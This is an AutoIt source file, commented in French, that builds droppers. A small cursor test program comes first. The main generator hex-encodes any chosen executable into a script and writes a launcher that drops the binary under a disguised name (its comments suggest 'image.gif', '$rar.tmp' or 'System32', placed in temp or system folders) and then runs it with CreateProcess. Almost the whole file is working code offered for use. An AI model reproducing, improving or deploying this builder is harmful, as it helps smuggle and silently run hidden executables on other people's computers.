;
;
; Programme de base pour le test
; Compiler normalement

HotKeySet("{f1}","_exit")
While 1
	$var=MouseGetCursor()
	ToolTip("curseur " & $var,100,100)
	Sleep(50)
WEnd

Func _exit()
	Exit
EndFunc

#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_outfile=Process.exe
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

;
;
;
;
;	Generateur de lanceur de processus
;	MdPerdu ...........................
;
#Include <WinAPI.au3>
;~ ;
;~ ;
;~ ; Creation du "data" du fichier executable
;~ ;
$File=InputBox("Etape 1 "," Fichier a traiter " & @CRLF & " (Executable) ")
$Taille=FileGetSize($File)
$Handle=FileOpen($File,16)
$Sortie=FileOpen("DATA.Au3",2)
$Tampon=FileRead($Handle)
$Buffer=DllStructCreate("byte[" & $Taille & "]")
		DllStructSetData($Buffer,1,$Tampon)

FileWriteLine($Sortie,"Global $DATA=''")
For $x=1 To $Taille Step 60
	$ligne="$DATA &='"
	For $z=0 to 59
		$ligne &=Hex(DllStructGetData($Buffer,1,$x+$z),2)
		If $x+$z=$Taille Then ExitLoop
	Next
	$ligne &="'"
	FileWriteLine($Sortie,$ligne)

Next
;~
;
;
; Creation du lanceur (le source)
;
;

$Input=InputBox("Etape 2 ","Creation du source du lanceur" & @CRLF & "Nom du fichier fictif " & @CRLF & "Exemple image.gif,$rar.tmp,System32 etc...")
$loader=FileOpen("Lanceur_" & $Input & ".Au3",2)



FileWriteLine($loader,";" & @CRLF &";" & @CRLF &";" & @CRLF & ";          Lanceur de processus par MdPerdu . . . . . . ." & ";" & @CRLF &";" & @CRLF &@CRLF)
FileWriteLine($loader,'')
FileWriteLine($loader,'#Include <WinAPI.au3>')
FileWriteLine($loader,'#Include <DATA.Au3>')
FileWriteLine($loader,';')
FileWriteLine($loader,'; Creation du fichier fictif ')
FileWriteLine($loader,';')
FileWriteLine($loader,'$file=FileOpen("' & $Input & '",17) ; modifier le repertoire de destination genre reptoire temp ou system par exemple')
FileWriteLine($loader,'$tampon=""')
FileWriteLine($loader,'$tampon=BinaryToString("0x" & $DATA)')
FileWriteLine($loader,'FileWrite($file,$tampon)')
FileWriteLine($loader,'FileClose($file)')
FileWriteLine($loader,'')
FileWriteLine($loader,'; Creation du processus................')
FileWriteLine($loader,';')
FileWriteLine($loader,'Global $sProcess = @ScriptDir & "\' & $Input & '",$hProcess,$tPI = DllStructCreate($tagPROCESS_INFORMATION), $pPI = DllStructGetPtr($tPI),$tSI = DllStructCreate($tagSTARTUPINFO), $pSI = DllStructGetPtr($tSI)')
FileWriteLine($loader,'')
FileWriteLine($loader,'	DllStructSetData($tSI, "Size", DllStructGetSize($tSI))')
FileWriteLine($loader,'$iSuccess = _WinAPI_CreateProcess("", $sProcess, 0, 0, False, 0, 0, 0, $pSI, $pPI)')
FileWriteLine($loader,'If Not $iSuccess Then')
FileWriteLine($loader,'		MsgBox(0x10, "Erreur!", "Le processus n est pas lancer !") ; ligne a enlever quand test fini ')
FileWriteLine($loader,'Else')
FileWriteLine($loader,'		_WinAPI_CloseHandle(DllStructGetData($tPI, "hThread"))')
FileWriteLine($loader,'		$hProcess = DllStructGetData($tPI, "hProcess")')
FileWriteLine($loader,'		_WinAPI_WaitForInputIdle($hProcess)')
FileWriteLine($loader,'		MsgBox(0x40, "Reussi", "Processus lancer"); ligne a enlever quand test fini ')
FileWriteLine($loader,'EndIf')
FileClose($loader)
msgbox(0,"","Fichier terminer")
Exit